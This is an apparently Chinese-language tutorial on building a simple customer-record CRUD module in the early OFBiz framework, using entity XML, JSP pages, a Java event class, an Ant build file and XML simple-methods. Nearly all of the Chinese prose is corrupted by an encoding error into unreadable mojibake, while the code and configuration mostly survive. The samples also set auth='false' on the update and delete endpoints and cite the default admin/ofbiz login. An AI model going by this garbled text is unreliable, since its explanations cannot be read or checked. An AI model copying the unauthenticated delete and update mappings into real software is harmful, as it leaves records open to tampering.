2.Ofbiz 下蝲与安?/p>
首先要安?J2SDK1.4Q到 http://java.sun.com 上下载,安装后设?JAVA_HOME 环境变量?J2SDK 的安装目录?/p>
讉K|站 http://www.ofbiz.orgQ上面有下蝲的连接,请选择 Complete 包,因ؓ(f)q个包中已经包含?jin)运?Ofbiz
的所有东西,下蝲下来解开后就可以q行?jin)?/p>
解开 Ofbiz 包到一个目录下Q假设是 “C:\ofbiz”Q该目录下将?x)?catalina ?ofbiz 两个目录Q?catalina
目录?Tomcat 的目录,Ofbiz 对其配置做了(jin)修改Qofbiz 目录?Ofbiz 的程序代码目录。在命o(h)行状态下q入
“c:\ofbiz\catalina\bin” 目录Q运?#8220; ofbiz run”命o(h)Q就可以启动 OfbizQ启动后你可以用览器访?br />
“http://localhost:8080/ecommerce”Q这可以讉K Ofbiz 的电(sh)子商务模块,通过面上面的连接你可以讉K?br />
其他模块?/p>
3.Ofbiz Schema 的创?/p>
Ofbiz 应用入门Q?/p>
以一个实例说明,假设我们需要徏一个客戯料表Qv名ؓ(f) StudyCustomerQ各个段分别如下Q?br />
StudyCustomer {
customerId Integer,
customerName String,
customerNote String,
}
我们来实现基本的数据操作---???查询Q具体步骤如下:(x)
1.?XML 文g中定义数?SchemaQ?br />
需要用C个文Ӟ一个是我们要徏的项目的 entitymodel_xxx.xml ?entityengine.xmlQ还?br />
entitygroup.xml,
entitymodel_xxx.xml 是需要我们自己创建的Q假设我们v名ؓ(f) entitymodel_study.xmlQ放?br />
“c:\ofbiz\ofbiz\commonapp\entitydef”目录下,
entityengine.xml ?Ofbiz 已经有的Q放?“c:\ofbiz\commonapp\etc”目录下,用来包含我们
定义?entitymodel 文g?br />
entitygroup.xml 也是 Ofbiz 已经有的Q跟 engityengine.xml 在同一目录下,我们需要把我们?br />
Schema 定义加入到该文g?/p>
entitymodel_study.xml 文g的定义格式如下:(x)
<!--================================================================================-->
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE entitymodel PUBLIC "-//OFBiz//DTD Entity Model//EN"
"" target="_blank">http://www.ofbiz.org/dtds/entitymodel.dtd">
<entitymodel>
<title>Entity of an Open For Business Project Component</title>
<description>None</description>
<copyright>Copyright (c) 2002 The Open For Business Project - www.ofbiz.org</copyright>
<author>None</author>
<version>1.0</version>
<!-- ========================================================= -->
<!-- ======================== Data Model ===================== -->
<!-- The modules in this file are as follows: -->
<!-- - org.ofbiz.commonapp.study -->
<!-- ========================================================= -->
<!-- ========================================================= -->
<!-- org.ofbiz.commonapp.study -->
<!-- ========================================================= -->
<entity entity-name="StudyCustomer"
package-name="org.ofbiz.commonapp.study"
title="Study Customer Entity">
<field name="customerId" type="id-ne"></field>
<field name="customerName" type="long-varchar"></field>
<field name="customerNote" type="long-varchar"></field>
<prim-key field="customerId"/>
</entity>
</entitymodel>
<!--================================================================================-->
q个 XML 文g中的 Tag 基本是看得明白的Q只?field ?type ?Ofbiz 已经预定义好的,q?br /> 是ؓ(f)?jin)保证数据库间的q移?/p>
?entityengine.xml 加入我们刚才定义的文Ӟ加入一行在合适的位置Q?br />
<resource loader="mainfile" location="entitymodel_study.xml"/>
具体攄位置我们可以通过查看 entityengine.xml 扑ֈQ里面已l有加好的其他文件?/p>
?entitygroup.xml 加入我们?Schema 定义Q在后面加入一?br /> <entity-group group="org.ofbiz.commonapp" entity="StudyCustomer" />
q样我们定义好?SchemaQ现在把 c:\ofbiz\commonapp\etc\entityengine.xml 拯?br />
c:\ofbiz\catalina\shared\classes 目录下,q点要切讎ͼ我以前就因ؓ(f)没有拯Q最?Schema
怎么也创Z?jin)?/p>
重新启动 OfbizQ访?URL: http://localhost:8080/webtoolsQ点d上方?"Login" 链接Q?br /> ?admin/ofbiz dQ登录进入后选择链接“Check/Update Database”Q这时会(x)出现 Check ?FormQ?br /> 该表单可以只(g)?Schema 是否改变Q默认的 GroupName ?#8220;org.ofbiz.commonapp”Q这个不需要变Q?br /> 点击“Check Only”按钮QOfbiz ?x)检验变动情况,昄Z个完整的列表Q你可以查一下是否有我们刚徏?br /> "StudyCustomer"Q如果没有,可能是我们前面定义的有些问题Q检查一下再重新做?/p>
在检查到以后Q可以再选择“Check and Add Missing”Q这?Ofbiz 很强大的一个功能,你在 XML 中新
增了(jin)表,或在某个表中新增?jin)段Q它?x)自动映到数据库中Q避免我们去直接操作数据库?/p>
现在已经完成?StudyCustomer Schema 的创?如果x验一下是否有表创建,我们可以用编辑器打开
c:\ofbiz\data\ofbiz.script Q在里面查询 CREATE TABLE StudyCustomer 的字P如果前面没有
问题Q我们可以找到的?/p>
4.如何使用已经定义?Schema
如何使用已经定义?Schema
Ofbiz 遵@ MVC 的设计模式,?View 端,?JSP 端主要?Ofbiz 定义?Tag 来显C或
提取数据QControl 是一?Controller ServletQ我们在 Controller Servlet ?URI mapping
配置文g中定义各 URL 应该指向什么程序,q样Q通过q个 mapping 配置文gQ可以保证我们各个页?br />
?qing)具体处理程序之间的独立性,例我们可以通过修改q个配置文g可以改变某?Form ?Post Action
?URLQ而不需要修改实际的 HTML ?JSP 代码?/p>
Ofbiz 中定义了(jin) Regions 的概念,卛_一?HTML 面分成几个区域Q像 Top, Left, Right, Main
{,通过q些 Regions 我们可以方便的组?UI 界面Qƈ且可以方便改变各部分所处的位置Q如我们可以
把菜单很Ҏ(gu)的从上方Ud下方Q只需要改变一个配|文件。Regions cM?HTML 中的 FrameQ但它是
通过一个页面来l合界面QFrame 是通过几个面昄在不同的帧中QFrame 的控制比较复杂,而且需?br />
改变相关的程序?/p>
?Ofbiz 中,我们可以直接?JSP 中操?Schema 定义?ObjectQ即我们刚定义的 StudyCustomerQ?br /> CZ如下Q?/p>
<% at taglib uri="ofbizTags" prefix="ofbiz" %>
<%@ page import="java dot util.*" %>
<% at page import="org dot ofbiz.core.util.*, org.ofbiz.core.pseudotag.*" %>
<% at page import="org dot ofbiz.core.entity.*" %>
<jsp:useBean id="delegator" type="org.ofbiz.core.entity.GenericDelegator" scope="request" />
<jsp:useBean id="security" type="org.ofbiz.core.security.Security" scope="request" />
<%if(security.hasEntityPermission("PARTYMGR", "_VIEW", session)) { %>
<%
try {
delegator.create("StudyCustomer",
UtilMisc.toMap("customerId","1","customerName","Cust1","customerNote","Customer Note 1"));
Iterator custs =
UtilMisc.toIterator(delegator.findAll("StudyCustomer",UtilMisc.toList("customerId","customerName","customerNote")));
while(custs.hasNext())
{
GenericValue cust = (GenericValue)custs.next();
out.println(cust.getString("customerId"));
out.println(cust.getString("customerName"));
out.println(cust.getString("customerNote"));
}
} catch(Exception e)
{
out.println(e.getMessage());
}
%>
<% }else{ %>
<h3>You do not have permission to view this page. ("PARTYMGR_VIEW" or "PARTYMGR_ADMIN" needed)</h3>
<% }%>
q段E序挺容易理解,先是通过 delegator 创徏一?ObjectQ该 Object 会(x)?Ofbiz 自动同步?br />
数据库中。然后通过 delegator ?findAll 取到所有已保存?ObjectQ最后通过一?Iterator 对象
昄出来?/p>
q个E序起名?testofbiz.jspQؓ(f)单v见,我们攑ֈ Ofbiz 已有的一?Webapp 的目录下Q放?br />
c:\ofbiz\ofbiz\partymgr\webapp\party 目录下。然后我们需要修改两个配|文Ӟ(x)controller.xml
?regions.xmlQ这两个文g是我们上面提到?mapping ?regions 配置文g?/p>
q两个文仉在:(x)c:\ofbiz\ofbiz\partymgr\webapp\WEB-INF 下,?controller.xml 中加入下?/p>
<request-map uri="testofbiz">
<description>Test Ofbiz</description>
<security https="false" auth="false"/>
<response name="success" type="view" value="testofbiz"/>
</request-map>
?br />
<view-map name="testofbiz" type="region"/>
加入位置请参?controller.xml 中已l有的配|。在 regions.xml 中加入:(x)
<define id='testofbiz' region='MAIN_REGION'>
<put section='title'>Test Ofbiz</put>
<put section='content' content='/party/testofbiz.jsp'/>
</define>
具体加入位置请参考已有的配置?/p>
配置完后Q重新启?ofbizQ然后访?URL:
http://localhost:8080/partymgr/control/testofbiz
׃我们?testofbiz.jsp E序中用了(jin) Ofbiz 的安全控制机Ӟpȝ?x)提C现在没有访?br />
权限Q需要登录,点击双?#8220;Login” ?admin/ofbiz d后会(x)看到我们E序 testofbiz.jsp
的运行结果。如果需要增加新记录Q请修改
UtilMisc.toMap("customerId","1","customerName","Cust1","customerNote","Customer Note 1"));
中的各个D늚|然后再访?http://localhost:8080/par......testofbizQ如果不修改
而直接访问那?URL Ӟpȝ?x)提C?Primary key 冲突?/p>
5.按照昄与逻辑分离的原则?Schema:
上篇讲了(jin)如何?JSP 中用创建的 Schema 对象Q这ơ我们来讲述一下如何把E序
逻辑攑ֈ JavaBeans 中,把显C处理放?JSP 中,q?controller.xml 两
部分整合h?/p>
首先我们来创Z?JavaBeansQ来完成Add/Get/Delete/Update Schema 对象
的操作,E序文g名ؓ(f) TestOfbiz.javaQ放|在
c:\ofbiz\ofbiz\testOfbiz\com\geeyo\ofbiz 目录? 具体E序如下Q?/p>
>=================================================================
package com.geeyo.ofbiz;
import javax.servlet.*;
import javax.servlet.http.*;
import java.util.*;
import java.net.*;
import org.ofbiz.core.util.*;
import org.ofbiz.core.entity.*;
import org.ofbiz.core.service.*;
import org.ofbiz.core.security.*;
import org.ofbiz.core.stats.*;
public class TestOfbiz
{
public static void main(String[] args)
throws Exception
{
GenericDelegator delegator = GenericDelegator.getGenericDelegator("default");
delegator.create("StudyCustomer",UtilMisc.toMap("customerId","3","customerName","Kane3","customerNote","This is test customer.3"));
Iterator custs = UtilMisc.toIterator(delegator.findAll("StudyCustomer",UtilMisc.toList("customerId","customerName","customerNote")));
while(custs.hasNext())
{
GenericValue cust = (GenericValue)custs.next();
System.out.println(cust.getString("customerId"));
System.out.println(cust.getString("customerName"));
System.out.println(cust.getString("customerNote"));
}
}
public static String createNewRecord(HttpServletRequest request, HttpServletResponse response)
throws Exception
{
Map paras = UtilMisc.getParameterMap(request);
GenericDelegator delegator = GenericDelegator.getGenericDelegator("default");
delegator.create("StudyCustomer",paras);
return "success";
}
public static String lookAllRecords(HttpServletRequest request, HttpServletResponse response)
throws Exception
{
GenericDelegator delegator = GenericDelegator.getGenericDelegator("default");
Iterator custs = UtilMisc.toIterator(delegator.findAll("StudyCustomer",UtilMisc.toList("customerId","customerName","customerNote")));
Collection col = new ArrayList();
while(custs.hasNext())
{
GenericValue cust = (GenericValue)custs.next();
col.add(cust);
}
request.getSession().setAttribute("search_results",col);
return "success";
}
public static String findRecord(HttpServletRequest request, HttpServletResponse response)
throws Exception
{
String id = (String)request.getParameter("customerId");
GenericDelegator delegator = GenericDelegator.getGenericDelegator("default");
try {
GenericValue cust = delegator.findByPrimaryKey("StudyCustomer",UtilMisc.toMap("customerId",id));
request.getSession().setAttribute("edit_cust",cust);
} catch (GenericEntityException gee) {
Debug.logWarning(gee);
}
return "success";
}
public static String updateRecord(HttpServletRequest request, HttpServletResponse response)
throws Exception
{
Map paras = UtilMisc.getParameterMap(request);
GenericDelegator delegator = GenericDelegator.getGenericDelegator("default");
GenericValue cust = delegator.findByPrimaryKey("StudyCustomer",UtilMisc.toMap("customerId",paras.get("customerId")));
cust.setNonPKFields(paras);
cust.store();
request.getSession().setAttribute("edit_cust",cust);
return "success";
}
public static String removeRecord(HttpServletRequest request, HttpServletResponse response)
throws Exception
{
String strId = request.getParameter("id");
GenericDelegator delegator = GenericDelegator.getGenericDelegator("default");
GenericValue cust = delegator.findByPrimaryKey("StudyCustomer",UtilMisc.toMap("customerId",strId));
cust.remove();
return "success";
}
}
>=================================================================
E序中的处理大部分可以看懂的Q其中有个功能,?br />
Map paras = UtilMisc.getParameterMap(request);
q是 Ofbiz 的一个有但非常有用的功能,它是?request 中各D늚名字和值映到一?Map
对象中,然后使用
cust.setNonPKFields(paras);
可以赋l?Object cust 的各个段Q免?jin)我们?request.getParameter("name")来取各个
|在值很多的时候这个功能可以大大减冗余代码量?/p>
基本E序的逻辑是这L(fng)Q?br />
1.?request d传来的?br />
?2.使用 delegator 来处理,Add/Update/Delete/Query
3.返回结果放?Session 中传l?JSP
我做?jin)?Ant build.xml 文g可以帮助~译Q把q个文g攑֜:
c:\ofbiz\ofbiz\testOfbiz\ 目录下,然后在命令行H口下进入该目录Q敲?ant
来编译(需要保证已l安?AntQ,~译后的 .class ?x)放?br />
c:\ofbiz\ofbiz\testOfbiz\com\geeyo\ofbiz 下,
拯 c:\ofbiz\ofbiz\testofbiz\com 目录?c:\ofbiz\ofbiz\partymgr\webapp\WEB-INF\classes
目录下?/p>
build.xml
>=============================================================================
<project name="TestOfbiz" default="dist" basedir=".">
<description>
Test ofbiz
</description>
<!--test cvs-->
<!-- set global properties for this build -->
<property name="src" location="."/>
<property name="build" location="."/>
<property name="lib_dir" location="c:/ofbiz/catalina/shared/lib"/>
<property name="lib1_dir" location="c:/ofbiz/catalina/common/lib"/>
<path id="project.class.path">
<fileset dir="${ lib_dir }">
<include name="*.jar"/>
</fileset>
<fileset dir="${ lib1_dir }">
<include name="*.jar"/>
</fileset>
</path>
<target name="init">
<!-- Create the time stamp -->
<tstamp/>
<!-- Create the build directory structure used by compile -->
<mkdir dir="${ build }"/>
</target>
<target name="compile" depends="init"
description="compile the source " >
<!-- Compile the java code from ${ src } into ${ build } -->
<javac srcdir="${ src }" destdir="${ build }">
<classpath refid="project.class.path"/>
</javac>
</target>
<target name="dist" depends="compile"
description="generate the distribution" >
<!-- Create the distribution directory -->
</target>
<target name="clean"
description="clean up" >
<!-- Delete the ${ build } and ${ dist } directory trees -->
</target>
</project>
>=============================================================================
然后我们来创?JSP E序QJSP E序全部攑֜
c:\ofbiz\ofbiz\partymgr\webapp\party 下面
1.listofbiz.jsp
>=============================================================================
<% at taglib uri="ofbizTags" prefix="ofbiz" %>
<%@ page import="java dot util.*, org.ofbiz.core.service.ModelService" %>
<% at page import="org dot ofbiz.core.util.*, org.ofbiz.core.pseudotag.*" %>
<% at page import="org dot ofbiz.core.entity.*" %>
<jsp:useBean id="security" type="org.ofbiz.core.security.Security" scope="request" />
<jsp:useBean id="delegator" type="org.ofbiz.core.entity.GenericDelegator" scope="request" />
<script language="JavaScript">
function confirmDelete()
{
return confirm("Are your sure to delete?");
}
</script>
<%if(security.hasEntityPermission("PARTYMGR", "_VIEW", session)) { %>
<table width="600" align="center">
<ofbiz:if name="search_results">
<tr><th>Id</th><th>Name</th><th>Note</th><th></th></tr>
<ofbiz:iterator name="cust" property="search_results">
<tr>
<td><ofbiz:entityfield attribute="cust" field="customerId"/></td>
<td><ofbiz:entityfield attribute="cust" field="customerName"/></td>
<td><ofbiz:entityfield attribute="cust" field="customerNote"/></td>
<td>
<a href='<ofbiz:url>/showtest?customerId=<ofbiz:entityfield attribute="cust" field="customerId"/></ofbiz:url>' class="buttontext">[Edit]</a>
<a href='<ofbiz:url>/removetest?customerId=<ofbiz:entityfield attribute="cust" field="customerId"/></ofbiz:url>' class="buttontext" onclick="return confirmDelete()">[Remove]</a>
</td>
</tr>
</ofbiz:iterator>
</ofbiz:if>
</table>
<table width="200" align="center">
<tr>
<td><a href='<ofbiz:url>/createTestForm</ofbiz:url>'>Create customer</a></td>
</tr>
</table>
<% }else{ %>
<h3>You do not have permission to view this page. ("PARTYMGR_VIEW" or "PARTYMGR_ADMIN" needed)</h3>
<% }%>
>=============================================================================
上面E序中需要说明的?br />
<ofbiz:if name="search_results">
?br />
<ofbiz:iterator name="cust" property="search_results">Q?/p>
<ofbiz:if name="search_results"> 是用来检验在 session ?pageContext 对象
中是否包?search_results 对象Q该对象是由我们的程序放?session 中的?br />
<ofbiz:iterator name="cust" property="search_results"> 是用来@环读取对?br />
search_resultsQ是?Collection 对象Q中存储的各对象Qƈ赋给custQ然后在循环?br />
中,我们可以用 cust 对象来读取各个段的g(jin)?/p>
2.createofbiz.jsp
>=============================================================================
<% at taglib uri="ofbizTags" prefix="ofbiz" %>
<%@ page import="java dot util.*, org.ofbiz.core.service.ModelService" %>
<% at page import="org dot ofbiz.core.util.*, org.ofbiz.core.pseudotag.*" %>
<% at page import="org dot ofbiz.core.entity.*" %>
<jsp:useBean id="security" type="org.ofbiz.core.security.Security" scope="request" />
<jsp:useBean id="delegator" type="org.ofbiz.core.entity.GenericDelegator" scope="request" />
<%if(security.hasEntityPermission("PARTYMGR", "_VIEW", session)) { %>
<form method="post" action="<ofbiz:url>/createTest</ofbiz:url>" name="createofbiz">
<table width="300" align="center">
<tr>
<td>Id</td><td><input type="text" name="customerId" size="20"></td>
</tr>
<tr>
<td>Name</td><td><input type="text" name="customerName" size="20"></td>
</tr>
<tr>
<td>Note</td><td><input type="text" name="customerNote" size="30"></td>
</tr>
<tr>
<td></td>
<td><input type="submit"></td>
</tr>
</table>
</form>
<% }else{ %>
<h3>You do not have permission to view this page. ("PARTYMGR_VIEW" or "PARTYMGR_ADMIN" needed)</h3>
<% }%>
>=============================================================================
q个E序很容易理解,需要注意的是每个文本框的名字,要跟 Schema StudyCustomer 的各
个段一_(d)以ɽE序中跟Ҏ(gu)处理?/p>
3.showofbiz.jsp
>=============================================================================
<% at taglib uri="ofbizTags" prefix="ofbiz" %>
<%@ page import="java dot util.*, org.ofbiz.core.service.ModelService" %>
<% at page import="org dot ofbiz.core.util.*, org.ofbiz.core.pseudotag.*" %>
<% at page import="org dot ofbiz.core.entity.*" %>
<jsp:useBean id="security" type="org.ofbiz.core.security.Security" scope="request" />
<jsp:useBean id="delegator" type="org.ofbiz.core.entity.GenericDelegator" scope="request" />
<%if(security.hasEntityPermission("PARTYMGR", "_VIEW", session)) { %>
<form method="post" action="<ofbiz:url>/updateTest</ofbiz:url>" name="updateofbiz">
<table width="300" align="center">
<tr>
<td>Id</td><td><input type="text" name="customerId" size="20" value="<ofbiz:entityfield attribute="edit_cust" field="customerId"/>"></td>
</tr>
<tr>
<td>Name</td><td><input type="text" name="customerName" size="20" value="<ofbiz:entityfield attribute="edit_cust" field="customerName"/>"></td>
</tr>
<tr>
<td>Note</td><td><input type="text" name="customerNote" size="30" value="<ofbiz:entityfield attribute="edit_cust" field="customerNote"/>"></td>
</tr>
<tr>
<td></td>
<td><input type="submit"></td>
</tr>
</table>
</form>
<% }else{ %>
<h3>You do not have permission to view this page. ("PARTYMGR_VIEW" or "PARTYMGR_ADMIN" needed)</h3>
<% }%>
>=============================================================================
q个E序中,主要是通过
<ofbiz:entityfield attribute="edit_cust" field="customerId"/>
把取到的对象的段昄出来, 对象 edit_cust 是我们在E序中取到ƈ攑ֈ session 中的?/p>
下面我们来配|?controller.xml ?regions.xml, ?controller.xml 中加?
>=============================================================================
<request-map uri="createTestForm">
<description>Show the create form</description>
<security https="false" auth="false"/>
<response name="success" type="view" value="createTestForm"/>
</request-map>
<request-map uri="testofbiz">
<description>Test Ofbiz</description>
<security https="false" auth="false"/>
<response name="success" type="view" value="testofbiz"/>
</request-map>
<request-map uri="listtest">
<description>List all records</description>
<security https="false" auth="false"/>
<event type="java" path="com.geeyo.ofbiz.TestOfbiz" invoke="lookAllRecords" />
<response name="success" type="view" value="listAllTest"/>
</request-map>
<request-map uri="showtest">
<description>Show records</description>
<security https="false" auth="false"/>
<event type="java" path="com.geeyo.ofbiz.TestOfbiz" invoke="findRecord" />
<response name="success" type="view" value="showTest"/>
</request-map>
<request-map uri="createTest">
<security https="true" auth="true"/>
<event type="java" path="com.geeyo.ofbiz.TestOfbiz" invoke="createNewRecord"/>
<response name="success" type="request" value="listtest"/>
<response name="error" type="view" value="createTestForm"/>
</request-map>
<request-map uri="updateTest">
<description>update a record</description>
<security https="false" auth="false"/>
<event type="java" path="com.geeyo.ofbiz.TestOfbiz" invoke="updateRecord" />
<response name="success" type="request" value="listtest"/>
</request-map>
<request-map uri="removetest">
<description>remove a record</description>
<security https="false" auth="false"/>
<event type="java" path="com.geeyo.ofbiz.TestOfbiz" invoke="removeRecord" />
<response name="success" type="request" value="listtest"/>
</request-map>
<view-map name="listAllTest" type="region"/>
<view-map name="createTestForm" type="region"/>
<view-map name="showTest" type="region"/>
>=============================================================================
?regions.xml 中加入:(x)
>=============================================================================
<define id='createTestForm' region='MAIN_REGION'>
<put section='title'>Create Ofbiz</put>
<put section='content' content='/party/createofbiz.jsp'/>
</define>
<define id='listAllTest' region='MAIN_REGION'>
<put section='title'>List Ofbiz</put>
<put section='content' content='/party/listofbiz.jsp'/>
</define>
<define id='showTest' region='MAIN_REGION'>
<put section='title'>Show Ofbiz</put>
<put section='content' content='/party/showofbiz.jsp'/>
</define>
>=============================================================================
现在完成了(jin)Q我们重新启?OfbizQ然后用 IE 讉KQ?br />
http://localhost:8080/par......l/listtestQ用admin/ofbiz d后就可以
看到我们刚才的工作成果了(jin)Q你现在可以增加/删除/修改记录?/p>
6.Ofbiz 通过 XML 来完成数据库操作Q非常强大的功能Q?/p>
q是 Ofbiz 的一个非常强大的功能Q可能通过单的 XML 文g来完成数据增/?改的处理Q?br />
q些处理在数据库应用中是非常多的Q因为很多需要维护的数据Q所以写E序也是最花时间的Q?br />
Ofbiz 把这些操作通过 XML 来完成,不能不说是一大革?--使我们不用写E序可以完成大
部分处理Q这是每个程序员都向往的终极目标?/p>
我们下面举例来讲qC下,处理的数据还是利用我们前面创建的 StudyCustomerQ?XML
配置文g来完成前面程?TestOfbiz.java 的大部分操作?/p>
?c:\ofbiz\ofbiz\testOfbiz\com\geeyo\ofbiz 目录下创建文?TestOfbizServices.xmlQ?br /> 该文件的内容如下Q?/p>
>=================================================================
<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE simple-methods PUBLIC "-//OFBiz//DTD Simple Methods//EN" "" target="_blank">http://www.ofbiz.org/dtds/simple-methods.dtd">
<simple-methods>
<!-- TestOfbiz methods -->
<simple-method method-name="createNewRecord" short-description="Create a new record">
<check-permission permission="STUDYCUSTOMER" action="_CREATE"><fail-message message="Security Error: to run createRecord you must have the STUDYCUSTOMER_CREATE permission"/></check-permission> <check-errors/>
<make-value entity-name="StudyCustomer" value-name="newEntity"/>
<set-pk-fields map-name="parameters" value-name="newEntity"/>
<set-nonpk-fields map-name="parameters" value-name="newEntity"/>
<create-value value-name="newEntity"/>
</simple-method>
<simple-method method-name="updateRecord" short-description="Update a record">
<check-permission permission="STUDYCUSTOMER" action="_UPDATE"><fail-message message="Security Error: to run updateRecord you must have the STUDYCUSTOMER_UPDATE permission"/></check-permission>
<check-errors/>
<make-value entity-name="StudyCustomer" value-name="lookupPKMap"/>
<set-pk-fields map-name="parameters" value-name="lookupPKMap"/>
<find-by-primary-key entity-name="StudyCustomer" map-name="lookupPKMap" value-name="lookedUpValue"/>
<set-nonpk-fields map-name="parameters" value-name="lookedUpValue"/>
<store-value value-name="lookedUpValue"/>
</simple-method>
<simple-method method-name="findRecord" short-description="lookup a record">
<check-errors/>
<make-value entity-name="StudyCustomer" value-name="lookupPKMap"/>
<set-pk-fields map-name="parameters" value-name="lookupPKMap"/>
<find-by-primary-key entity-name="StudyCustomer" map-name="lookupPKMap" value-name="edit_cust"/>
<field-to-session field-name="edit_cust"/>
</simple-method>
<simple-method method-name="removeRecord" short-description="Delete a record">
<check-permission permission="STUDYCUSTOMER" action="_DELETE"><fail-message message="Security Error: to run deleteRecord you must have the STUDYCUSTOMER_DELETE permission"/></check-permission>
<check-errors/>
<make-value entity-name="StudyCustomer" value-name="lookupPKMap"/>
<set-pk-fields map-name="parameters" value-name="lookupPKMap"/>
<find-by-primary-key entity-name="StudyCustomer" map-name="lookupPKMap" value-name="lookedUpValue"/>
<remove-value value-name="lookedUpValue"/>
</simple-method>
<simple-method method-name="lookAllRecords" short-description="lookup suitable records">
<check-errors/>
<find-by-and entity-name="StudyCustomer" list-name="search_results"/>
<field-to-session field-name="search_results"/>
</simple-method>
</simple-methods>
>=================================================================
上面?XML 基本是不用解释的Q定义了(jin)
createNewRecord
updateRecord
lookAllRecords
removeRecord
findRecord
q几个方法,而且都有对用h限的(g)查,q几个方法对应于前面 TestOfbiz.java 中的几个Ҏ(gu)Q?br /> q样来做数据库操作显然比?Java E序写要单得多,
下面q需要在 controller.xmlQ具体文件得位置请参照前面的教程Q更改一?mapping 的设|,
更改如下Q以前?TestOfbiz.java 时的配置我以注释的方式保留着以做参照Q?/p>
>=================================================================
<request-map uri="createTestForm">
<description>Show the create form</description>
<security https="false" auth="false"/>
<response name="success" type="view" value="createTestForm"/>
</request-map>
<request-map uri="listtest">
<description>List all records</description>
<security https="false" auth="false"/>
<event type="simple" path="com/geeyo/ofbiz/TestOfbizServices.xml" invoke="lookAllRecords" />
<response name="success" type="view" value="listAllTest"/>
</request-map>
<request-map uri="showtest">
<description>Show records</description>
<security https="false" auth="false"/>
<event type="simple" path="com/geeyo/ofbiz/TestOfbizServices.xml" invoke="findRecord" />
<response name="success" type="view" value="showTest"/>
</request-map>
<request-map uri="createTest">
<security https="true" auth="true"/>
<event type="simple" path="com/geeyo/ofbiz/TestOfbizServices.xml" invoke="createNewRecord"/>
<response name="success" type="request" value="listtest"/>
<response name="error" type="view" value="createTestForm"/>
</request-map>
<request-map uri="updateTest">
<description>update a record</description>
<security https="false" auth="false"/>
<event type="simple" path="com/geeyo/ofbiz/TestOfbizServices.xml" invoke="updateRecord" />
<response name="success" type="request" value="listtest"/>
</request-map>
<request-map uri="removetest">
<description>remove a record</description>
<security https="false" auth="false"/>
<event type="simple" path="com/geeyo/ofbiz/TestOfbizServices.xml" invoke="removeRecord" />
<response name="success" type="request" value="listtest"/>
</request-map>
<view-map name="listAllTest" type="region"/>
<view-map name="createTestForm" type="region"/>
<view-map name="testofbiz" type="region"/>
<view-map name="showTest" type="region"/>
>=================================================================
配置该文件的Ҏ(gu)请参照前面的教程Qregions.xml 不需改动?/p>
配置完后L(fng)前面讲过的方法访?URL: http://localhost:8080/partymgr/control/listtest
现在我们可以看到QOfbiz ?MVC 斚w做得非常好,我们可以把后端的处理E序?java ?br /> 成用 XMl 控制Q而其他部分(?JSPQ不需M改动Q这可以保证我们pȝ各部分的独立性?/p>
http://www.cnpoint.com/mv......nforum/viewthread?thread=65